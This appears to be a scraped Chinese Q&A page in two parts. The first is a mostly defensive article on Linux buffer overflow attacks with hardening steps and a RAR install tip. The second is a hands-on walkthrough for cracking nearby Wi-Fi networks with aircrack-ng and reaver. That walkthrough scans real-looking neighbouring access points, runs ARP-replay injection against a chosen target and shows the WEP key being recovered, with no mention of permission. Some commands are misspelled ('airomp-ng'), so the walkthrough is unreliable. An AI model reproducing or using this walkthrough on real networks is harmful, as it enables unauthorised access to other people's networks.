Ⅰ 如何防範linux操作系統下緩沖區溢出攻擊 黑客武林
雖然Linux病毒屈指可數,但是基於緩沖區溢出(BufferOverflow)漏洞的攻擊還是讓眾多Linux用戶大吃一驚。所謂「世界上第一個Linux病毒」??reman,嚴格地說並不是真正的病毒,它實質上是一個古老的、在Linux/Unix(也包括Windows等系統)世界中早已存在的「緩沖區溢出」攻擊程序。reman只是一個非常普通的、自動化了的緩沖區溢出程序,但即便如此,也已經在Linux界引起很大的恐慌。
緩沖區溢出漏洞是一個困擾了安全專家30多年的難題。簡單來說,它是由於編程機制而導致的、在軟體中出現的內存錯誤。這樣的內存錯誤使得黑客可以運行一段惡意代碼來破壞系統正常地運行,甚至獲得整個系統的控制權。
Linux系統特性
利用緩沖區溢出改寫相關內存的內容及函數的返回地址,從而改變代碼的執行流程,僅能在一定許可權范圍內有效。因為進程的運行與當前用戶的登錄許可權和身份有關,僅僅能夠製造緩沖區溢出是無法突破系統對當前用戶的許可權設置的。因此盡管可以利用緩沖區溢出使某一程序去執行其它被指定的代碼,但被執行的代碼只具有特定的許可權,還是無法完成超越許可權的任務。
但是,Linux(包括Unix)系統本身的一些特性卻可以被利用來沖破這種許可權的局限性,使得能夠利用緩沖區溢出獲得更高的、甚至是完全的許可權。主要體現在如下兩方面:
1.Linux(包括Unix)系統通過設置某可執行文件的屬性為SUID或SGID,允許其它用戶以該可執行文件擁有者的用戶ID或用戶組ID來執行它。如果該可執行文件的屬性是root,同時文件屬性被設置為SUID,則該可執行文件就存在可利用的緩沖區溢出漏洞,可以利用它以root的身份執行特定的、被另外安排的代碼。既然能夠使得一個具有root許可權的代碼得以執行,就能夠產生一個具有超級用戶root許可權的Shell,那麼掌握整個系統的控制權的危險就產生了。
2.Linux(包括Unix)中的許多守護進程都是以root許可權運行。如果這些程序存在可利用的緩沖區溢出,即可直接使它以root身份去執行另外安排的代碼,而無須修改該程序的SUID或SGID屬性。這樣獲得系統的控制權將更加容易。
隨著現代網路技術的發展和網路應用的深入,計算機網路所提供的遠程登錄機制、遠程調用及執行機制是必須的。這使得一個匿名的Internet用戶有機會利用緩沖區溢出漏洞來獲得某個系統的部分或全部控制權。實際上,以緩沖區溢出漏洞為攻擊手段的攻擊佔了遠程網路攻擊中的絕大多數,這給Linux系統帶來了極其嚴重的安全威脅。
途徑分析
通常情況下攻擊者會先攻擊root程序,然後利用緩沖區溢出時發生的內存錯誤來執行類似「exec(sh)」的代碼,從而獲得root的一個Shell。為了獲得root許可權的Shell,攻擊者需要完成如下的工作:
1.在程序的地址空間內安排適當的特定代碼。一般使用如下兩種方法在被攻擊的程序地址空間內安排攻擊代碼。
2.通過適當地初始化寄存器和存儲器,使程序在發生緩沖區溢出時不能回到原來的執行處,而是跳轉到被安排的地址空間執行。
當攻擊者找到一種途徑可以變原程序的執行代碼和流程時,攻擊的危險就產生了。
共2頁: 1 [2]
內容導航
第 1 頁:Linux系統特性
防範措施
Linux下的緩沖區溢出攻擊威脅既來自於軟體的編寫機制,也來自於Linux(和Unix)系統本身的特性。實際上,緩沖區溢出攻擊及各種計算機病毒猖獗的根本原因在於現代計算機系統都是採用馮?諾依曼「存儲程序」的工作原理。這一基本原理使得程序和數據都可以在內存中被繁殖、拷貝和執行。因此,要想有效地防範緩沖區溢出攻擊就應該從這兩個方面雙管其下。
確保代碼正確安全
緩沖區溢出攻擊的根源在於編寫程序的機制。因此,防範緩沖區溢出漏洞首先應該確保在Linux系統上運行的程序(包括系統軟體和應用軟體)代碼的正確性,避免程序中有不檢查變數、緩沖區大小及邊界等情況存在。比如,使用grep工具搜索源代碼中容易產生漏洞的庫調用,檢測變數的大小、數組的邊界、對指針變數進行保護,以及使用具有邊界、大小檢測功能的C編譯器等。
基於一定的安全策略設置系統
攻擊者攻擊某一個Linux系統,必須事先通過某些途徑對要攻擊的系統做必要的了解,如版本信息等,然後再利用系統的某些設置直接或間接地獲取控制權。因此,防範緩沖區溢出攻擊的第二個方面就是對系統設置實施有效的安全策略。這些策略種類很多,由於篇幅有限只列舉幾個典型措施:
(1)在裝有Telnet服務的情況下,通過手工改寫「/etc/inetd.conf」文件中的Telnet設置,使得遠程登錄的用戶無法看到系統的提示信息。具體方法是將Telnet設置改寫為:
telnet stream tcp nowait root /usr/sbin/tcpd/in.telnetd -h
末尾加上「-h」參數可以讓守護進程不顯示任何系統信息,只顯示登錄提示。
(2)改寫「rc.local」文件。默認情況下,當登錄Linux系統時系統運行rc.local文件,顯示該Linux發行版本的名字、版本號、內核版本和伺服器名稱等信息,這使得大量系統信息被泄露。將「rc.local」文件中顯示這些信息的代碼注釋掉,可以使系統不顯示這些信息。
一種方法是在顯示這-些信息的代碼行前加「#」:
……# echo 「」>/etc/issue# echo 「$R」>>/etc/issue#echo」Kernel $ (uname -r)on $a $(uname -m)」>>/etc/issue##echo>>/etc/issue……
另一種方法是將保存有系統信息的文件/etc/issue.net和issue刪除。這兩個文件分別用於在遠程登錄和本地登錄時向用戶提供相關信息。刪除這兩個文件的同時,仍需要完成方法一中的注釋工作,否則,系統在啟動時將會自動重新生成這兩個文件。
(3)禁止提供finger服務。在Linux系統中,使用finger命令可以顯示本地或遠程系統中目前已登錄用戶的詳細信息。禁止提供finger服務的有效方法是,通過修改該文件屬性、許可權(改為600)使得只有root用戶才可以執行該命令。
(4)處理「inetd.conf」文件。Linux系統通過inetd(超級伺服器)程序根據網路請求裝入網路程序。該程序通過「/etc/inetd.conf」文件獲得inetd在監聽哪些網路埠,為每個埠啟動哪些特定服務等信息。因此,該文件同樣會泄露大量的敏感信息。解決問題的方法是,通過將其許可權改為600隻允許root用戶訪問,並通過改寫「/etc/inetd.conf」文件將不需要的服務程序禁止掉,最後修改該文件的屬性使其不能被修改。
總結
緩沖區溢出攻擊之所以能成為一種常見的攻擊手段,其原因在於緩沖區溢出漏洞太普遍,且易於實現攻擊,因此緩沖區溢出問題一直是個難題。
所幸的是,OpenBSD開發組為解決這一安全難題採用了三種新的有效策略。相信不久的將來,Linux用戶可以不再為緩沖區溢出攻擊而寢食難安了。
RAR文件在Linux下用起來
要在Linux下處理.rar文件,需要安裝RARforLinux。該軟體可以從網上下載,但要記住,它不是免費的。大家可從http://www.onlinedown.net/sort/125_1.htm下載RARforLinux 3.2.0,然後用下面的命令安裝:
# tar -xzpvf rarlinux-3.2.0.tar.gz
# cd rar
# make
安裝後就有了rar和unrar這兩個程序,rar是壓縮程序,unrar是解壓程序。它們的參數選項很多,這里只做簡單介紹,依舊舉例說明一下其用法:
# rar a all *.mp3
這條命令是將所有.mp3的文件壓縮成一個rar包,名為all.rar,該程序會將.rar 擴展名將自動附加到包名後。
# unrar e all.rar
這條命令是將all.rar中的所有文件解壓出來。
Ⅱ linux可以破解wife密碼嗎
一. 軟硬體環境
硬體: cubieboard2
系統: debian (理論上基於debian的操作系統都可以, 如ubuntu, lubuntu, 等等)
無線網卡: RT3070_usb (其它無線網卡是否支持抓包以及驅動的安裝方法請自行谷歌)
由於以下所有工具的編譯都是直接在cubieboard里進行的, 所以要在cubieboard里構建編譯環境:
# apt-get install gcc make
rt3070驅動安裝:
# apt-get install firmware-ralink
二. 安裝aircrack-ng
1. 下載aircrack-ng源碼
# wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
# tar -zxvf aircrack-ng-1.1.tar.gz
2. 安裝必要的庫文件
# apt-get install libssl-dev
否則編譯時會報錯:
In file included from aircrack-ng.c:65:0:
crypto.h:12:26: fatal error: openssl/hmac.h: No such file or directory
compilation terminated.
make[1]: *** [aircrack-ng.o] Error 1
make[1]: Leaving directory `/home/code/wifi/aircrack-ng-1.1/src'
make: *** [all] Error 2
3. 修改編譯配置文件
# vi common.mak
搜索Werror這行, 將:
CFLAGS ?= -g -W -Wall -Werror -O3
改成:
CFLAGS ?= -g -W -Wall -O3
否則編譯時報錯:
Linux.c: In function 『is_ndiswrapper』:
linux.c:165:17: error: variable 『unused』 set but not used [-Werror=unused-but-set-variable]
linux.c: In function 『linux_set_rate』:
linux.c:334:22: error: variable 『unused』 set but not used [-Werror=unused-but-set-variable]
linux.c: In function 『linux_set_channel』:
linux.c:807:22: error: variable 『unused』 set but not used [-Werror=unused-but-set-variable]
linux.c: In function 『linux_set_freq』:
linux.c:896:22: error: variable 『unused』 set but not used [-Werror=unused-but-set-variable]
linux.c: In function 『set_monitor』:
linux.c:1022:22: error: variable 『unused』 set but not used [-Werror=unused-but-set-variable]
linux.c: In function 『do_linux_open』:
linux.c:1366:12: error: variable 『unused_str』 set but not used [-Werror=unused-but-set-variable]
linux.c:1352:15: error: variable 『unused』 set but not used [-Werror=unused-but-set-variable]
linux.c: In function 『get_battery_state』:
linux.c:1982:35: error: variable 『current』 set but not used [-Werror=unused-but-set-variable]
cc1: all warnings being treated as errors
make[3]: *** [linux.o] Error 1
4. 編譯,安裝
# make
# make install
三. 安裝reaver(窮舉PIN碼方式破解工具)
1. 下載reaver源碼
http://code.google.com/p/reaver-wps/downloads/list
2. 安裝必要的庫文件
# apt-get install libpcap-dev libsqlite3-dev
否則configure的時候報錯:
checking for pcap_open_live in -lpcap... no
error: pcap library not found!
3. 編譯,安裝
# cd src
# ./configure
# make
# make install
四. 安裝minidwep-gtk(圖形界面工具, 可選)
deb包, 直接下載安裝即可, 本文只專注於純命令行破解, 圖形工具安裝步驟略
五. 破解步驟
1. 安裝wireless-tools
# apt-get install wireless-tools iw
否則在使用airmon-ng命令時會報錯:
Wireless tools not found
或者
ERROR: Neither the sysfs interface links nor the iw command is available.
2. 查看自己的無線網卡的名稱,一般是wlan0或者wifi0
# ifconfig -a
3. 開啟無線網卡監控功能
# airmon-ng start wlan0
注:wlan0為你的無線設備名稱
這一步可能會看到提示有XXXX XXXX進程影響,沒關系,kill XXX XXX, XXX為給出的進程號,然後重新執行上句, 直到不報錯
4. 選擇要破解的wifi, 獲取其SSID, MAC, CHANNEL
4.1 用airomp-ng掃描
# airomp-ng mon0
會列出所有掃描到的AP列表, 如:
CH 13 ][ Elapsed: 1 min ][ 2014-05-03 23:32
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:1D:0F:6A:0A:F6 -1 0 0 0 108 -1
00:23:CD:26:4A:B8 -59 19 20 0 6 54 . WEP WEP MERCURY
08:18:1A:89:D8:8C -63 19 0 0 1 54e WPA CCMP PSK ChinaNet-HbDm
EC:17:2F:B9:18:32 -77 11 0 0 6 54e. WPA2 CCMP PSK
08:10:76:6D:9B:74 -78 13 0 0 6 54e WPA2 CCMP PSK ZBH
F0:7D:68:55:AF:F4 -77 11 1 0 6 54e WPA2 CCMP PSK TL
AC:6E:1A:73:D7:85 -80 10 0 0 11 54e WPA2 CCMP PSK ChinaNet-43Bs
62:6E:1A:73:D7:86 -79 13 0 0 11 54e WPA2 CCMP PSK iTV-43Bs
A8:15:4D:13:0F:28 -78 19 1 0 11 54 . WPA2 CCMP PSK 2-703_TPLINK
38:83:45:7C:FE:00 -80 5 0 0 6 54e. WPA2 CCMP PSK xiaoer
20:DC:E6:F1:F1:82 -81 11 0 0 6 54e. WPA2 CCMP PSK XMing
6C:E8:73:5B:A3:2A -81 16 0 0 1 54e. WPA2 CCMP PSK HUANG
C8:3A:35:32:BA:88 -81 8 0 0 8 54e WPA CCMP PSK LYX
14:E6:E4:43:66:CA -81 2 0 0 4 54e. WPA2 CCMP PSK TP-LINK_4366CA
D8:15:0D:4D:18:18 -82 7 0 0 3 54e WPA2 CCMP PSK TP-LINK_805
8C:BE:BE:23:A5:AC -82 7 0 0 3 54e WPA2 CCMP PSK Xiaomi_las
9C:D2:4B:44:8B:68 -83 5 0 0 8 54e WPA CCMP PSK ChinaNet-bwwg
08:10:74:AB:61:7E -82 6 0 0 6 54 WPA TKIP PSK Netcore
00:1E:2A:67:EF:B0 -84 13 0 0 11 54 . WPA2 CCMP PSK SecondBegining
28:2C:B2:2C:A8:5C -84 20 0 0 11 54e. WPA2 CCMP PSK TP407
04:8D:38:00:A8:CB -21 47 181 0 7 54e WPA2 CCMP PSK
BSSID STATION PWR Rate Lost Packets Probes
00:1D:0F:6A:0A:F6 E0:B9:A5:05:D2:3D -76 0 - 1 19 6
00:23:CD:26:4A:B8 5C:51:4F:CA:4F:09 -1 48 - 0 0 16
00:23:CD:26:4A:B8 D0:22:BE:EE:E8:A4 -80 0 - 2 20 8
04:8D:38:00:A8:CB 00:1D:E0:4B:DF:F1 -78 0e-12e 0 179
選取一個信號好的, 連接的客戶端活躍的就可以.
如果想破解WEP, 我們選取的AP信息:
SSID : MERCURY
MAC : 00:23:CD:26:4A:B8
CHANNEL : 6
ENC : WEP
如果想破解WPA/WPA2, 我們選取的AP信息:
SSID :
MAC : 04:8D:38:00:A8:CB
CHANNEL : 7
ENC : WPA2
4.2 這一步用wireless-tools或者windows下的工具WirelessMon也可以
5. 破解WEP
5.1 抓取足夠的通信數據包
# airomp-ng --ivs -w packet -c 6 wlan0
或者
# airomp-ng --ivs -w packet -c 6 --bssid 00:23:CD:26:4A:B8 wlan0 //可以加--bssid參數限定只抓特定AP的數據包
參數解釋:
--ivs 這里的設置是通過設置過濾,不再將所有無線數據保存,而只是保存可用於破解的IVS數據報文,這樣可以有效地縮減保存的數據包大小;
-c 這里我們設置目標AP的工作頻道,通過剛才的觀察,我們要進行攻擊的無線路由器channel為6;
-w 後跟要保存的文件名,所以輸入自己希望保持的文件名, 這里會生成packet-xx.ivs文件, xx是序號。後文中破解時使用ivs包可用通配符代替, 如packet-*.ivs
抓包界面如下:
CH 6 ][ Elapsed: 12 mins ][ 2014-05-04 00:23
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
04:8D:38:00:A8:CB -24 0 3 3 0 7 54e WPA2 CCMP PSK [email protected]
00:23:CD:26:4A:B8 -59 46 582 729 0 6 54 . WEP WEP MERCURY
EC:17:2F:B9:18:32 -75 65 458 139 1 6 54e. WPA2 CCMP PSK TARO
F0:7D:68:55:AF:F4 -78 43 461 24 0 6 54e WPA2 CCMP PSK TL
20:DC:E6:F1:F1:82 -80 33 367 0 0 6 54e. WPA2 CCMP PSK XMing
8C:21:0A:18:17:46 -78 74 513 3 0 6 54e. WPA2 CCMP PSK VincentKasim
38:83:45:7C:FE:00 -79 36 399 0 0 6 54e. WPA2 CCMP PSK xiaoer
08:10:74:AB:61:7E -82 1 261 0 0 6 54 WPA TKIP PSK Netcore
08:10:76:6D:9B:74 -82 27 277 0 0 6 54e WPA2 CCMP PSK ZBH
00:25:86:66:42:6E -83 4 19 0 0 6 54 . WEP WEP FAST_66426E
00:87:15:25:85:2C -83 90 508 18 0 6 54e WPA2 CCMP PSK RT8888
14:E6:E4:56:E2:B6 -83 0 29 0 0 6 54e. WEP WEP pig
40:16:9F:76:82:A2 -84 0 1 0 0 6 22e. WPA2 CCMP PSK WH
38:83:45:CA:42:26 -84 0 1 0 0 6 54e. WPA2 CCMP PSK tp-link n1
BSSID STATION PWR Rate Lost Packets Probes
04:8D:38:00:A8:CB 88:E3:AB:A9:23:96 -80 0 - 1e 0 152
00:23:CD:26:4A:B8 D0:22:BE:EE:E8:A4 -76 54 - 1 0 82
00:23:CD:26:4A:B8 5C:51:4F:CA:4F:09 -82 54 - 1 0 763
5.2 對目標AP使用ArpRequest注入攻擊
若連接著該無線路由器/AP的無線客戶端正在進行大流量的交互,比如使用迅雷、電騾進行大文件下載等,則可以依靠單純的抓包就可以破解出WEP密碼。
但是無線黑客們覺得這樣的等待有時候過於漫長,於是就採用了一種稱之為「ARP Request」的方式來讀取ARP請求報文,並偽造報文再次重發出去,以便刺激AP產生更多的數據包,從而加快破解過程,
這種方法就稱之為ArpRequest注入攻擊。輸入命令(新開一個終端)如下:
# aireplay-ng -3 -b [AP's MAC] -h [Client's MAC] mon0
參數解釋:
-3 指採用ARPRequesr注入攻擊模式;
-b 後跟AP的MAC地址,這里就是前面我們探測到的SSID為TPLINK的AP的MAC;
-h 後跟客戶端的MAC地址,也就是我們前面探測到的有效無線客戶端的MAC;
例如
# aireplay-ng -3 -b 00:23:CD:26:4A:B8 -h D0:22:BE:EE:E8:A4 mon0
回車後將會看到如下所示的讀取無線數據報文,從中獲取ARP報文的情況出現。
The interface MAC (48:02:2A:42:52:F9) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether D0:22:BE:EE:E8:A4
23:55:00 Waiting for beacon frame (BSSID: 00:23:CD:26:4A:B8) on channel 6
Saving ARP requests in replay_arp-0503-235500.cap
You should also start airomp-ng to capture replies.
Read 3943 packets (got 0 ARP requests and 13 ACKs), sent 0 packets...(0 pps)
在等待片刻之後,一旦成功截獲到ARP請求報文,我們將會看到如下圖13所示的大量ARP報文快速交互的情況出現。
The interface MAC (48:02:2A:42:52:F9) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether D0:22:BE:EE:E8:A4
23:55:00 Waiting for beacon frame (BSSID: 00:23:CD:26:4A:B8) on channel 6
Saving ARP requests in replay_arp-0503-235500.cap
You should also start airomp-ng to capture replies.
Read 13943 packets (got 1 ARP requests and 131 ACKs), sent 12 packets...(566 pps)
Read 14045 packets (got 40 ARP requests and 231 ACKs), sent 123 packets...(566 pps)
Read 14132 packets (got 132 ARP requests and 452 ACKs), sent 234 packets...(566 pps)
Read 14212 packets (got 156 ARP requests and 645 ACKs), sent 567 packets...(566 pps)
Read 14223 packets (got 196 ARP requests and 1090 ACKs), sent 845 packets...(566 pps)
此時回到airomp-ng的界面查看,作為MERCURY的packets欄的數字在飛速遞增, 一般該值達到1萬5千以上, 就可以進行下一步的破解, 很復雜的密碼需要8萬以上的IVS。
5.3 使用aircrack-ng破解WEP
在抓取的無線數據報文達到了一定數量後,一般都是指IVs值達到1萬以上時,就可以開始破解,若不能成功就等待數據報文的繼續抓取然後多試幾次。
注意,此處不需要將進行注入攻擊的終端關閉,而是另外開一個終端進行同步破解。輸入命令如下:
# aircrack-ng 捕獲的ivs文件
例如:
# aircrack-ng packet-*.ivs
關於ivs的值數量,我們可以從如下所示的界面中看到,當前已經接受到的IVs已經達到了1萬5千以上,aircrack-ng已經嘗試了16萬個組合。
Aircrack-ng 1.1
[00:01:01] Tested 163814 keys (got 15081 IVs)
KB depth byte(vote)
0 55/ 61 AA(13248) 39(13212) BC(13212) CE(13212) 79(13208) EB(13200) 04(13128) 61(13124) 57(13088) 4F(13060) C9(13048) 75(13024) 8F(12984) A4(12984)
1 12/ 14 49(14740) 88(14628) 86(14564) D8(14520) 7C(14272) 5B(14192) 22(14160) 10(14120) 05(14040) 0E(14012) A8(13976) 87(13932) E2(13828) 5D(13796)
2 38/ 2 09(13724) ED(13608) 40(13600) 24(13572) 7E(13572) C0(13572) 50(13560) 06(13492) 97(13432) C6(13432) 23(13392) 0B(13388) B2(13316) AB(13312)
3 2/ 3 9E(16764) A8(15876) 7A(15808) 12(15800) 4B(15740) 28(15440) 53(15368) 16(15036) 69(14936) 5E(14920) 91(14892) 74(14780) 45(14772) 99(14604)
4 16/ 4 7B(14488) 4A(14384) F1(14308) 86(14228) A1(14228) 5C(14128) 17(14120) 6C(14120) 7F(14088) 02(14084) 31(14052) BF(14016) C1(14008) 0C(14004)
KEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 )
Decrypted corretly: 100%
注意: 高強度復雜密碼破解成功依賴於更多的IVs, 如13位復雜密碼需要8萬多IVs.